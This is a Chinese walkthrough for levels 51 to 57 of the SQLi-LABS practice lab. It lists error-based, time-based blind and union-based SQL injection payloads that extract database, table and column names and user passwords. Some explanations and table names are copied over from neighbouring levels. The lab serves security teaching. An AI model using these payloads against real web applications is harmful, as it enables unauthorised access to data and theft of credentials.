SQL注入SQLi-LABS 靶场less51-57详细通关攻略
Less 51 GET -Error based -ORDER BY CLAUSE -String -Stacked injection
一、注入方式
对的时候存在回显,错的时候有报错注入的使用函数,使用报错注入。
二、获取数据库名
抓包后放到攻击模块进行爆破,因为sleep超时所以出不来结果的就是正确值,下几条命令同理。
-1' and updatexml(1,concat(1,database()),1) --+
三、获取数据表名
-1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security' )),1) --+
四、获取数据字段名
-1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name = 'users' )),1) --+
五、获取数据信息
获取用户名和密码时更改第一个1即可。
-1' and updatexml(1,concat(1,(select group_concat(username,password) from users)),3)
Less 52 GET -Blind based -ORDER BY CLAUSE -numeric -Stacked injection
一、注入方式
对的时候存在回显,错的时候没有任何的回显信息,使用时间盲注。
二、获取数据库名
抓包后放到攻击模块进行爆破,因为sleep超时所以出不来结果的就是正确值,下几条命令同理。
1 and if((substr(database(),1,1))='s',sleep(5),1)
三、获取数据表名
1 and if(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1)='s',sleep(4),1)
四、获取数据字段名
1 and if(substr((select column_name from information_schema.columns where table_schema='security' and table_name = users limit 1,1),1,1)='s',sleep(4),1)
五、获取数据信息
获取用户名和密码时更改第一个1即可。
1 and if(substr((select username from users limit 1,1),1,1)='s',sleep(4),1)
1 and if(substr((select password from users limit 1,1),1,1)='s',sleep(4),1)
Less 53 GET -Blind based -ORDER BY CLAUSE -String -Stacked injection
一、注入方式
对的时候存在回显,错的时候没有任何的回显信息,使用时间盲注。
二、获取数据库名
抓包后放到攻击模块进行爆破,因为sleep超时所以出不来结果的就是正确值,下几条命令同理。
1' and if((substr(database(),1,1)='s'),sleep(1),1)--+
三、获取数据表名
1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1)='s',sleep(1),1)
四、获取数据字段名
1' and if(substr((select column_name from information_schema.columns where table_schema='security' and table_name = users limit 1,1),1,1)='s',sleep(1),1)
五、获取数据信息
获取用户名和密码时更改第一个1即可。
1' and if(substr((select username from users limit 1,1),1,1)='s',sleep(1),1)
1' and if(substr((select password from users limit 1,1),1,1)='s',sleep(1),1)
Less 54 GET challenge -Union-10 queries allow -Varation
一、判断注入方式
这页面也没有什么提示,提示我们只有十次查询机会,超过十次会进行重置,所以尽量在十次内搞出来数据库详细信息。
二、判断闭合方式
1' and 1=1 --+
1' and 1=2 --+
三、数据库名
1' union select 1,2,3 --+
1' union select 1,database(),3 --+
四、数据表名
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
五、字段名
-1' union select 1,database(),(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='mkp5cq36jp') --+
六、详细信息
-1' union select 1,2,(select secret_Y0T6 from mkp5cq36jp)--+
Less 55 GET challenge -Union-14 queries allow -Varation2
一、判断闭合方式
1) and 1=1 --+
1) and 1=2 --+
二、数据库名
-1) union select 1,2,3 --+
-1) union select 1,database(),3 --+
三、数据表名
-1) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
四、字段名
-1) union select 1,database(),(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='twnipcr6qo') --+
五、详细信息
-1) union select 1,2,(select secret_5O8L from twnipcr6qo)--+
Less 56 GET challenge -Union-14 queries allow -Varation3
一、判断闭合方式
1') and 1=1 --+
1') and 1=2 --+
二、数据库名
-1') union select 1,2,3 --+
-1') union select 1,database(),3 --+
三、数据表名
-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
四、字段名
-1') union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='40s270z681') --+
五、详细信息
-1') union select 1,2,(select secret_ETWO from 40s270z681)--+
Less 57 GET challenge -Union-14 queries allow -Varation4
一、判断闭合方式
1" and 1=1 --+
1" and 1=2 --+
二、数据库名
-1" union select 1,2,3 --+
-1" union select 1,database(),3 --+
三、数据表名
-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
四、字段名
-1" union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='40s270z681') --+
五、详细信息
-1" union select 1,2,(select secret_ETWO from 40s270z681)--+